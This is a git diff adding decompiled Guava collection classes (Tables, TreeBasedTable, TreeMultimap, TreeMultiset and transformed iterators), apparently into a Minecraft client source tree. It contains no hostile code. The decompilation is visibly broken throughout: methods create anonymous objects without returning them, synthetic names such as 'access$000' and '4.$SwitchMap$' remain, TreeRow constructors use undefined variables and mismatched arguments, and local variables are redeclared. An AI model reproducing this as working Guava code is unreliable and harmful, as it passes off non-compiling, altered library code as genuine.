+
+
+
+
+
+
+  @Beta
+  public static <R, C, V> Table<R, C, V> newCustomTable(Map<R, Map<C, V>> backingMap, Supplier<? extends Map<C, V>> factory)
+  {
+    Preconditions.checkArgument(backingMap.isEmpty());
+    Preconditions.checkNotNull(factory);
+    
+    return new StandardTable(backingMap, factory);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <R, C, V1, V2> Table<R, C, V2> transformValues(Table<R, C, V1> fromTable, Function<? super V1, V2> function)
+  {
+    return new TransformedTable(fromTable, function);
+  }
+  
+  private static class TransformedTable<R, C, V1, V2> extends AbstractTable<R, C, V2>
+  {
+    final Table<R, C, V1> fromTable;
+    final Function<? super V1, V2> function;
+    
+    TransformedTable(Table<R, C, V1> fromTable, Function<? super V1, V2> function)
+    {
+      this.fromTable = ((Table)Preconditions.checkNotNull(fromTable));
+      this.function = ((Function)Preconditions.checkNotNull(function));
+    }
+    
+    public boolean contains(Object rowKey, Object columnKey) {
+      return fromTable.contains(rowKey, columnKey);
+    }
+    
+
+    public V2 get(Object rowKey, Object columnKey)
+    {
+      return contains(rowKey, columnKey) ? function.apply(fromTable.get(rowKey, columnKey)) : null;
+    }
+    
+    public int size()
+    {
+      return fromTable.size();
+    }
+    
+    public void clear() {
+      fromTable.clear();
+    }
+    
+    public V2 put(R rowKey, C columnKey, V2 value) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void putAll(Table<? extends R, ? extends C, ? extends V2> table)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public V2 remove(Object rowKey, Object columnKey) {
+      return contains(rowKey, columnKey) ? function.apply(fromTable.remove(rowKey, columnKey)) : null;
+    }
+    
+    public Map<C, V2> row(R rowKey)
+    {
+      return Maps.transformValues(fromTable.row(rowKey), function);
+    }
+    
+    public Map<R, V2> column(C columnKey) {
+      return Maps.transformValues(fromTable.column(columnKey), function);
+    }
+    
+    Function<Table.Cell<R, C, V1>, Table.Cell<R, C, V2>> cellFunction() {
+      new Function() {
+        public Table.Cell<R, C, V2> apply(Table.Cell<R, C, V1> cell) {
+          return Tables.immutableCell(cell.getRowKey(), cell.getColumnKey(), function.apply(cell.getValue()));
+        }
+      };
+    }
+    
+
+
+    Iterator<Table.Cell<R, C, V2>> cellIterator()
+    {
+      return Iterators.transform(fromTable.cellSet().iterator(), cellFunction());
+    }
+    
+    public Set<R> rowKeySet() {
+      return fromTable.rowKeySet();
+    }
+    
+    public Set<C> columnKeySet() {
+      return fromTable.columnKeySet();
+    }
+    
+    Collection<V2> createValues()
+    {
+      return Collections2.transform(fromTable.values(), function);
+    }
+    
+    public Map<R, Map<C, V2>> rowMap() {
+      Function<Map<C, V1>, Map<C, V2>> rowFunction = new Function()
+      {
+        public Map<C, V2> apply(Map<C, V1> row) {
+          return Maps.transformValues(row, function);
+        }
+      };
+      return Maps.transformValues(fromTable.rowMap(), rowFunction);
+    }
+    
+    public Map<C, Map<R, V2>> columnMap() {
+      Function<Map<R, V1>, Map<R, V2>> columnFunction = new Function()
+      {
+        public Map<R, V2> apply(Map<R, V1> column) {
+          return Maps.transformValues(column, function);
+        }
+      };
+      return Maps.transformValues(fromTable.columnMap(), columnFunction);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> Table<R, C, V> unmodifiableTable(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    return new UnmodifiableTable(table);
+  }
+  
+  private static class UnmodifiableTable<R, C, V> extends ForwardingTable<R, C, V> implements Serializable {
+    final Table<? extends R, ? extends C, ? extends V> delegate;
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableTable(Table<? extends R, ? extends C, ? extends V> delegate) {
+      this.delegate = ((Table)Preconditions.checkNotNull(delegate));
+    }
+    
+
+    protected Table<R, C, V> delegate()
+    {
+      return delegate;
+    }
+    
+    public Set<Table.Cell<R, C, V>> cellSet()
+    {
+      return Collections.unmodifiableSet(super.cellSet());
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Map<R, V> column(@Nullable C columnKey)
+    {
+      return Collections.unmodifiableMap(super.column(columnKey));
+    }
+    
+    public Set<C> columnKeySet()
+    {
+      return Collections.unmodifiableSet(super.columnKeySet());
+    }
+    
+    public Map<C, Map<R, V>> columnMap()
+    {
+      Function<Map<R, V>, Map<R, V>> wrapper = Tables.access$000();
+      return Collections.unmodifiableMap(Maps.transformValues(super.columnMap(), wrapper));
+    }
+    
+    public V put(@Nullable R rowKey, @Nullable C columnKey, @Nullable V value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void putAll(Table<? extends R, ? extends C, ? extends V> table)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public V remove(@Nullable Object rowKey, @Nullable Object columnKey)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Map<C, V> row(@Nullable R rowKey)
+    {
+      return Collections.unmodifiableMap(super.row(rowKey));
+    }
+    
+    public Set<R> rowKeySet()
+    {
+      return Collections.unmodifiableSet(super.rowKeySet());
+    }
+    
+    public Map<R, Map<C, V>> rowMap()
+    {
+      Function<Map<C, V>, Map<C, V>> wrapper = Tables.access$000();
+      return Collections.unmodifiableMap(Maps.transformValues(super.rowMap(), wrapper));
+    }
+    
+    public Collection<V> values()
+    {
+      return Collections.unmodifiableCollection(super.values());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <R, C, V> RowSortedTable<R, C, V> unmodifiableRowSortedTable(RowSortedTable<R, ? extends C, ? extends V> table)
+  {
+    return new UnmodifiableRowSortedMap(table);
+  }
+  
+  static final class UnmodifiableRowSortedMap<R, C, V> extends Tables.UnmodifiableTable<R, C, V> implements RowSortedTable<R, C, V> {
+    private static final long serialVersionUID = 0L;
+    
+    public UnmodifiableRowSortedMap(RowSortedTable<R, ? extends C, ? extends V> delegate) {
+      super();
+    }
+    
+    protected RowSortedTable<R, C, V> delegate()
+    {
+      return (RowSortedTable)super.delegate();
+    }
+    
+    public SortedMap<R, Map<C, V>> rowMap()
+    {
+      Function<Map<C, V>, Map<C, V>> wrapper = Tables.access$000();
+      return Collections.unmodifiableSortedMap(Maps.transformValues(delegate().rowMap(), wrapper));
+    }
+    
+    public SortedSet<R> rowKeySet()
+    {
+      return Collections.unmodifiableSortedSet(delegate().rowKeySet());
+    }
+  }
+  
+
+
+  private static <K, V> Function<Map<K, V>, Map<K, V>> unmodifiableWrapper()
+  {
+    return UNMODIFIABLE_WRAPPER;
+  }
+  
+  private static final Function<? extends Map<?, ?>, ? extends Map<?, ?>> UNMODIFIABLE_WRAPPER = new Function()
+  {
+    public Map<Object, Object> apply(Map<Object, Object> input)
+    {
+      return Collections.unmodifiableMap(input);
+    }
+  };
+  
+  static boolean equalsImpl(Table<?, ?, ?> table, @Nullable Object obj) {
+    if (obj == table)
+      return true;
+    if ((obj instanceof Table)) {
+      Table<?, ?, ?> that = (Table)obj;
+      return table.cellSet().equals(that.cellSet());
+    }
+    return false;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TransformedIterator.java b/src/minecraft/com/google/common/collect/TransformedIterator.java
new file mode 100644
index 0000000..fecb334
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TransformedIterator.java
@@ -0,0 +1,55 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class TransformedIterator<F, T>
+  implements Iterator<T>
+{
+  final Iterator<? extends F> backingIterator;
+  
+  TransformedIterator(Iterator<? extends F> backingIterator)
+  {
+    this.backingIterator = ((Iterator)Preconditions.checkNotNull(backingIterator));
+  }
+  
+  abstract T transform(F paramF);
+  
+  public final boolean hasNext()
+  {
+    return backingIterator.hasNext();
+  }
+  
+  public final T next()
+  {
+    return transform(backingIterator.next());
+  }
+  
+  public final void remove()
+  {
+    backingIterator.remove();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TransformedListIterator.java b/src/minecraft/com/google/common/collect/TransformedListIterator.java
new file mode 100644
index 0000000..1c6d428
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TransformedListIterator.java
@@ -0,0 +1,71 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.ListIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class TransformedListIterator<F, T>
+  extends TransformedIterator<F, T>
+  implements ListIterator<T>
+{
+  TransformedListIterator(ListIterator<? extends F> backingIterator)
+  {
+    super(backingIterator);
+  }
+  
+  private ListIterator<? extends F> backingIterator() {
+    return Iterators.cast(backingIterator);
+  }
+  
+  public final boolean hasPrevious()
+  {
+    return backingIterator().hasPrevious();
+  }
+  
+  public final T previous()
+  {
+    return transform(backingIterator().previous());
+  }
+  
+  public final int nextIndex()
+  {
+    return backingIterator().nextIndex();
+  }
+  
+  public final int previousIndex()
+  {
+    return backingIterator().previousIndex();
+  }
+  
+  public void set(T element)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public void add(T element)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TreeBasedTable.java b/src/minecraft/com/google/common/collect/TreeBasedTable.java
new file mode 100644
index 0000000..5d0850c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TreeBasedTable.java
@@ -0,0 +1,350 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.io.Serializable;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+@Beta
+public class TreeBasedTable<R, C, V>
+  extends StandardRowSortedTable<R, C, V>
+{
+  private final Comparator<? super C> columnComparator;
+  private static final long serialVersionUID = 0L;
+  
+  private static class Factory<C, V>
+    implements Supplier<TreeMap<C, V>>, Serializable
+  {
+    final Comparator<? super C> comparator;
+    private static final long serialVersionUID = 0L;
+    
+    Factory(Comparator<? super C> comparator)
+    {
+      this.comparator = comparator;
+    }
+    
+    public TreeMap<C, V> get() {
+      return new TreeMap(comparator);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <R extends Comparable, C extends Comparable, V> TreeBasedTable<R, C, V> create()
+  {
+    return new TreeBasedTable(Ordering.natural(), Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> TreeBasedTable<R, C, V> create(Comparator<? super R> rowComparator, Comparator<? super C> columnComparator)
+  {
+    Preconditions.checkNotNull(rowComparator);
+    Preconditions.checkNotNull(columnComparator);
+    return new TreeBasedTable(rowComparator, columnComparator);
+  }
+  
+
+
+
+
+  public static <R, C, V> TreeBasedTable<R, C, V> create(TreeBasedTable<R, C, ? extends V> table)
+  {
+    TreeBasedTable<R, C, V> result = new TreeBasedTable(table.rowComparator(), table.columnComparator());
+    
+
+    result.putAll(table);
+    return result;
+  }
+  
+  TreeBasedTable(Comparator<? super R> rowComparator, Comparator<? super C> columnComparator)
+  {
+    super(new TreeMap(rowComparator), new Factory(columnComparator));
+    
+    this.columnComparator = columnComparator;
+  }
+  
+
+
+
+
+
+  public Comparator<? super R> rowComparator()
+  {
+    return rowKeySet().comparator();
+  }
+  
+
+
+
+  public Comparator<? super C> columnComparator()
+  {
+    return columnComparator;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SortedMap<C, V> row(R rowKey) { return new TreeRow(rowKey); }
+  
+  private class TreeRow extends StandardTable<R, C, V>.Row implements SortedMap<C, V> { @Nullable
+    final C lowerBound;
+    @Nullable
+    final C upperBound;
+    transient SortedMap<C, V> wholeRow;
+    
+    TreeRow() { this(rowKey, null, null); }
+    
+    TreeRow(@Nullable C rowKey, @Nullable C lowerBound)
+    {
+      super(rowKey);
+      this.lowerBound = lowerBound;
+      this.upperBound = upperBound;
+      Preconditions.checkArgument((lowerBound == null) || (upperBound == null) || (compare(lowerBound, upperBound) <= 0));
+    }
+    
+    public SortedSet<C> keySet()
+    {
+      return new Maps.SortedKeySet(this);
+    }
+    
+    public Comparator<? super C> comparator() {
+      return columnComparator();
+    }
+    
+
+    int compare(Object a, Object b)
+    {
+      Comparator<Object> cmp = comparator();
+      return cmp.compare(a, b);
+    }
+    
+    boolean rangeContains(@Nullable Object o) {
+      return (o != null) && ((lowerBound == null) || (compare(lowerBound, o) <= 0)) && ((upperBound == null) || (compare(upperBound, o) > 0));
+    }
+    
+    public SortedMap<C, V> subMap(C fromKey, C toKey)
+    {
+      Preconditions.checkArgument((rangeContains(Preconditions.checkNotNull(fromKey))) && (rangeContains(Preconditions.checkNotNull(toKey))));
+      
+      return new TreeRow(TreeBasedTable.this, rowKey, fromKey, toKey);
+    }
+    
+    public SortedMap<C, V> headMap(C toKey) {
+      Preconditions.checkArgument(rangeContains(Preconditions.checkNotNull(toKey)));
+      return new TreeRow(TreeBasedTable.this, rowKey, lowerBound, toKey);
+    }
+    
+    public SortedMap<C, V> tailMap(C fromKey) {
+      Preconditions.checkArgument(rangeContains(Preconditions.checkNotNull(fromKey)));
+      return new TreeRow(TreeBasedTable.this, rowKey, fromKey, upperBound);
+    }
+    
+    public C firstKey() {
+      SortedMap<C, V> backing = backingRowMap();
+      if (backing == null) {
+        throw new NoSuchElementException();
+      }
+      return backingRowMap().firstKey();
+    }
+    
+    public C lastKey() {
+      SortedMap<C, V> backing = backingRowMap();
+      if (backing == null) {
+        throw new NoSuchElementException();
+      }
+      return backingRowMap().lastKey();
+    }
+    
+
+
+
+
+
+    SortedMap<C, V> wholeRow()
+    {
+      if ((wholeRow == null) || ((wholeRow.isEmpty()) && (backingMap.containsKey(rowKey))))
+      {
+        wholeRow = ((SortedMap)backingMap.get(rowKey));
+      }
+      return wholeRow;
+    }
+    
+    SortedMap<C, V> backingRowMap()
+    {
+      return (SortedMap)super.backingRowMap();
+    }
+    
+    SortedMap<C, V> computeBackingRowMap()
+    {
+      SortedMap<C, V> map = wholeRow();
+      if (map != null) {
+        if (lowerBound != null) {
+          map = map.tailMap(lowerBound);
+        }
+        if (upperBound != null) {
+          map = map.headMap(upperBound);
+        }
+        return map;
+      }
+      return null;
+    }
+    
+    void maintainEmptyInvariant()
+    {
+      if ((wholeRow() != null) && (wholeRow.isEmpty())) {
+        backingMap.remove(rowKey);
+        wholeRow = null;
+        backingRowMap = null;
+      }
+    }
+    
+    public boolean containsKey(Object key) {
+      return (rangeContains(key)) && (super.containsKey(key));
+    }
+    
+    public V put(C key, V value) {
+      Preconditions.checkArgument(rangeContains(Preconditions.checkNotNull(key)));
+      return super.put(key, value);
+    }
+  }
+  
+
+  public SortedSet<R> rowKeySet()
+  {
+    return super.rowKeySet();
+  }
+  
+  public SortedMap<R, Map<C, V>> rowMap() {
+    return super.rowMap();
+  }
+  
+
+
+
+
+  Iterator<C> createColumnKeyIterator()
+  {
+    final Comparator<? super C> comparator = columnComparator();
+    
+    final Iterator<C> merged = Iterators.mergeSorted(Iterables.transform(backingMap.values(), new Function()
+    {
+
+
+      public Iterator<C> apply(Map<C, V> input) {
+        return input.keySet().iterator(); } }), comparator);
+    
+
+
+    new AbstractIterator()
+    {
+      C lastValue;
+      
+      protected C computeNext() {
+        while (merged.hasNext()) {
+          C next = merged.next();
+          boolean duplicate = (lastValue != null) && (comparator.compare(next, lastValue) == 0);
+          
+
+
+          if (!duplicate) {
+            lastValue = next;
+            return lastValue;
+          }
+        }
+        
+        lastValue = null;
+        return endOfData();
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TreeMultimap.java b/src/minecraft/com/google/common/collect/TreeMultimap.java
new file mode 100644
index 0000000..76ff8a8
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TreeMultimap.java
@@ -0,0 +1,263 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.NavigableMap;
+import java.util.NavigableSet;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.TreeSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public class TreeMultimap<K, V>
+  extends AbstractSortedKeySortedSetMultimap<K, V>
+{
+  private transient Comparator<? super K> keyComparator;
+  private transient Comparator<? super V> valueComparator;
+  @GwtIncompatible("not needed in emulated source")
+  private static final long serialVersionUID = 0L;
+  
+  public static <K extends Comparable, V extends Comparable> TreeMultimap<K, V> create()
+  {
+    return new TreeMultimap(Ordering.natural(), Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K, V> TreeMultimap<K, V> create(Comparator<? super K> keyComparator, Comparator<? super V> valueComparator)
+  {
+    return new TreeMultimap((Comparator)Preconditions.checkNotNull(keyComparator), (Comparator)Preconditions.checkNotNull(valueComparator));
+  }
+  
+
+
+
+
+
+
+
+  public static <K extends Comparable, V extends Comparable> TreeMultimap<K, V> create(Multimap<? extends K, ? extends V> multimap)
+  {
+    return new TreeMultimap(Ordering.natural(), Ordering.natural(), multimap);
+  }
+  
+
+  TreeMultimap(Comparator<? super K> keyComparator, Comparator<? super V> valueComparator)
+  {
+    super(new TreeMap(keyComparator));
+    this.keyComparator = keyComparator;
+    this.valueComparator = valueComparator;
+  }
+  
+
+  private TreeMultimap(Comparator<? super K> keyComparator, Comparator<? super V> valueComparator, Multimap<? extends K, ? extends V> multimap)
+  {
+    this(keyComparator, valueComparator);
+    putAll(multimap);
+  }
+  
+
+
+
+
+
+
+
+  SortedSet<V> createCollection()
+  {
+    return new TreeSet(valueComparator);
+  }
+  
+  Collection<V> createCollection(@Nullable K key)
+  {
+    if (key == null) {
+      keyComparator().compare(key, key);
+    }
+    return super.createCollection(key);
+  }
+  
+
+
+  public Comparator<? super K> keyComparator()
+  {
+    return keyComparator;
+  }
+  
+  public Comparator<? super V> valueComparator()
+  {
+    return valueComparator;
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  NavigableMap<K, Collection<V>> backingMap()
+  {
+    return (NavigableMap)super.backingMap();
+  }
+  
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public NavigableSet<V> get(@Nullable K key)
+  {
+    return (NavigableSet)super.get(key);
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  Collection<V> unmodifiableCollectionSubclass(Collection<V> collection)
+  {
+    return Sets.unmodifiableNavigableSet((NavigableSet)collection);
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  Collection<V> wrapCollection(K key, Collection<V> collection)
+  {
+    return new AbstractMapBasedMultimap.WrappedNavigableSet(this, key, (NavigableSet)collection, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public NavigableSet<K> keySet()
+  {
+    return (NavigableSet)super.keySet();
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  NavigableSet<K> createKeySet()
+  {
+    return new AbstractMapBasedMultimap.NavigableKeySet(this, backingMap());
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public NavigableMap<K, Collection<V>> asMap()
+  {
+    return (NavigableMap)super.asMap();
+  }
+  
+  @GwtIncompatible("NavigableMap")
+  NavigableMap<K, Collection<V>> createAsMap()
+  {
+    return new AbstractMapBasedMultimap.NavigableAsMap(this, backingMap());
+  }
+  
+
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeObject(keyComparator());
+    stream.writeObject(valueComparator());
+    Serialization.writeMultimap(this, stream);
+  }
+  
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    keyComparator = ((Comparator)Preconditions.checkNotNull((Comparator)stream.readObject()));
+    valueComparator = ((Comparator)Preconditions.checkNotNull((Comparator)stream.readObject()));
+    setMap(new TreeMap(keyComparator));
+    Serialization.populateMultimap(this, stream);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/TreeMultiset.java b/src/minecraft/com/google/common/collect/TreeMultiset.java
new file mode 100644
index 0000000..1a9c09e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/TreeMultiset.java
@@ -0,0 +1,982 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Comparator;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.NoSuchElementException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class TreeMultiset<E>
+  extends AbstractSortedMultiset<E>
+  implements Serializable
+{
+  private final transient Reference<AvlNode<E>> rootReference;
+  private final transient GeneralRange<E> range;
+  private final transient AvlNode<E> header;
+  @GwtIncompatible("not needed in emulated source")
+  private static final long serialVersionUID = 1L;
+  
+  public static <E extends Comparable> TreeMultiset<E> create()
+  {
+    return new TreeMultiset(Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> TreeMultiset<E> create(@Nullable Comparator<? super E> comparator)
+  {
+    return comparator == null ? new TreeMultiset(Ordering.natural()) : new TreeMultiset(comparator);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable> TreeMultiset<E> create(Iterable<? extends E> elements)
+  {
+    TreeMultiset<E> multiset = create();
+    Iterables.addAll(multiset, elements);
+    return multiset;
+  }
+  
+
+
+
+  TreeMultiset(Reference<AvlNode<E>> rootReference, GeneralRange<E> range, AvlNode<E> endLink)
+  {
+    super(range.comparator());
+    this.rootReference = rootReference;
+    this.range = range;
+    header = endLink;
+  }
+  
+  TreeMultiset(Comparator<? super E> comparator) {
+    super(comparator);
+    range = GeneralRange.all(comparator);
+    header = new AvlNode(null, 1);
+    successor(header, header);
+    rootReference = new Reference(null);
+  }
+  
+
+
+  private static abstract enum Aggregate
+  {
+    SIZE, 
+    
+
+
+
+
+
+
+
+
+
+    DISTINCT;
+    
+
+
+    private Aggregate() {}
+    
+
+
+    abstract int nodeAggregate(TreeMultiset.AvlNode<?> paramAvlNode);
+    
+
+    abstract long treeAggregate(@Nullable TreeMultiset.AvlNode<?> paramAvlNode);
+  }
+  
+
+  private long aggregateForEntries(Aggregate aggr)
+  {
+    AvlNode<E> root = (AvlNode)rootReference.get();
+    long total = aggr.treeAggregate(root);
+    if (range.hasLowerBound()) {
+      total -= aggregateBelowRange(aggr, root);
+    }
+    if (range.hasUpperBound()) {
+      total -= aggregateAboveRange(aggr, root);
+    }
+    return total;
+  }
+  
+  private long aggregateBelowRange(Aggregate aggr, @Nullable AvlNode<E> node) {
+    if (node == null) {
+      return 0L;
+    }
+    int cmp = comparator().compare(range.getLowerEndpoint(), elem);
+    if (cmp < 0)
+      return aggregateBelowRange(aggr, left);
+    if (cmp == 0) {
+      switch (4.$SwitchMap$com$google$common$collect$BoundType[range.getLowerBoundType().ordinal()]) {
+      case 1: 
+        return aggr.nodeAggregate(node) + aggr.treeAggregate(left);
+      case 2: 
+        return aggr.treeAggregate(left);
+      }
+      throw new AssertionError();
+    }
+    
+    return aggr.treeAggregate(left) + aggr.nodeAggregate(node) + aggregateBelowRange(aggr, right);
+  }
+  
+
+  private long aggregateAboveRange(Aggregate aggr, @Nullable AvlNode<E> node)
+  {
+    if (node == null) {
+      return 0L;
+    }
+    int cmp = comparator().compare(range.getUpperEndpoint(), elem);
+    if (cmp > 0)
+      return aggregateAboveRange(aggr, right);
+    if (cmp == 0) {
+      switch (4.$SwitchMap$com$google$common$collect$BoundType[range.getUpperBoundType().ordinal()]) {
+      case 1: 
+        return aggr.nodeAggregate(node) + aggr.treeAggregate(right);
+      case 2: 
+        return aggr.treeAggregate(right);
+      }
+      throw new AssertionError();
+    }
+    
+    return aggr.treeAggregate(right) + aggr.nodeAggregate(node) + aggregateAboveRange(aggr, left);
+  }
+  
+
+
+  public int size()
+  {
+    return Ints.saturatedCast(aggregateForEntries(Aggregate.SIZE));
+  }
+  
+  int distinctElements()
+  {
+    return Ints.saturatedCast(aggregateForEntries(Aggregate.DISTINCT));
+  }
+  
+  public int count(@Nullable Object element)
+  {
+    try
+    {
+      E e = element;
+      AvlNode<E> root = (AvlNode)rootReference.get();
+      if ((!range.contains(e)) || (root == null)) {
+        return 0;
+      }
+      return root.count(comparator(), e);
+    } catch (ClassCastException e) {
+      return 0;
+    } catch (NullPointerException e) {}
+    return 0;
+  }
+  
+
+  public int add(@Nullable E element, int occurrences)
+  {
+    CollectPreconditions.checkNonnegative(occurrences, "occurrences");
+    if (occurrences == 0) {
+      return count(element);
+    }
+    Preconditions.checkArgument(range.contains(element));
+    AvlNode<E> root = (AvlNode)rootReference.get();
+    if (root == null) {
+      comparator().compare(element, element);
+      AvlNode<E> newRoot = new AvlNode(element, occurrences);
+      successor(header, newRoot, header);
+      rootReference.checkAndSet(root, newRoot);
+      return 0;
+    }
+    int[] result = new int[1];
+    AvlNode<E> newRoot = root.add(comparator(), element, occurrences, result);
+    rootReference.checkAndSet(root, newRoot);
+    return result[0];
+  }
+  
+  public int remove(@Nullable Object element, int occurrences)
+  {
+    CollectPreconditions.checkNonnegative(occurrences, "occurrences");
+    if (occurrences == 0) {
+      return count(element);
+    }
+    AvlNode<E> root = (AvlNode)rootReference.get();
+    int[] result = new int[1];
+    AvlNode<E> newRoot;
+    try
+    {
+      E e = element;
+      if ((!range.contains(e)) || (root == null)) {
+        return 0;
+      }
+      newRoot = root.remove(comparator(), e, occurrences, result);
+    } catch (ClassCastException e) {
+      return 0;
+    } catch (NullPointerException e) {
+      return 0;
+    }
+    rootReference.checkAndSet(root, newRoot);
+    return result[0];
+  }
+  
+  public int setCount(@Nullable E element, int count)
+  {
+    CollectPreconditions.checkNonnegative(count, "count");
+    if (!range.contains(element)) {
+      Preconditions.checkArgument(count == 0);
+      return 0;
+    }
+    
+    AvlNode<E> root = (AvlNode)rootReference.get();
+    if (root == null) {
+      if (count > 0) {
+        add(element, count);
+      }
+      return 0;
+    }
+    int[] result = new int[1];
+    AvlNode<E> newRoot = root.setCount(comparator(), element, count, result);
+    rootReference.checkAndSet(root, newRoot);
+    return result[0];
+  }
+  
+  public boolean setCount(@Nullable E element, int oldCount, int newCount)
+  {
+    CollectPreconditions.checkNonnegative(newCount, "newCount");
+    CollectPreconditions.checkNonnegative(oldCount, "oldCount");
+    Preconditions.checkArgument(range.contains(element));
+    
+    AvlNode<E> root = (AvlNode)rootReference.get();
+    if (root == null) {
+      if (oldCount == 0) {
+        if (newCount > 0) {
+          add(element, newCount);
+        }
+        return true;
+      }
+      return false;
+    }
+    
+    int[] result = new int[1];
+    AvlNode<E> newRoot = root.setCount(comparator(), element, oldCount, newCount, result);
+    rootReference.checkAndSet(root, newRoot);
+    return result[0] == oldCount;
+  }
+  
+  private Multiset.Entry<E> wrapEntry(final AvlNode<E> baseEntry) {
+    new Multisets.AbstractEntry()
+    {
+      public E getElement() {
+        return baseEntry.getElement();
+      }
+      
+      public int getCount()
+      {
+        int result = baseEntry.getCount();
+        if (result == 0) {
+          return count(getElement());
+        }
+        return result;
+      }
+    };
+  }
+  
+
+
+  @Nullable
+  private AvlNode<E> firstNode()
+  {
+    AvlNode<E> root = (AvlNode)rootReference.get();
+    if (root == null) {
+      return null;
+    }
+    AvlNode<E> node;
+    if (range.hasLowerBound()) {
+      E endpoint = range.getLowerEndpoint();
+      AvlNode<E> node = ((AvlNode)rootReference.get()).ceiling(comparator(), endpoint);
+      if (node == null) {
+        return null;
+      }
+      if ((range.getLowerBoundType() == BoundType.OPEN) && (comparator().compare(endpoint, node.getElement()) == 0))
+      {
+        node = succ;
+      }
+    } else {
+      node = header.succ;
+    }
+    return (node == header) || (!range.contains(node.getElement())) ? null : node;
+  }
+  
+  @Nullable
+  private AvlNode<E> lastNode() { AvlNode<E> root = (AvlNode)rootReference.get();
+    if (root == null) {
+      return null;
+    }
+    AvlNode<E> node;
+    if (range.hasUpperBound()) {
+      E endpoint = range.getUpperEndpoint();
+      AvlNode<E> node = ((AvlNode)rootReference.get()).floor(comparator(), endpoint);
+      if (node == null) {
+        return null;
+      }
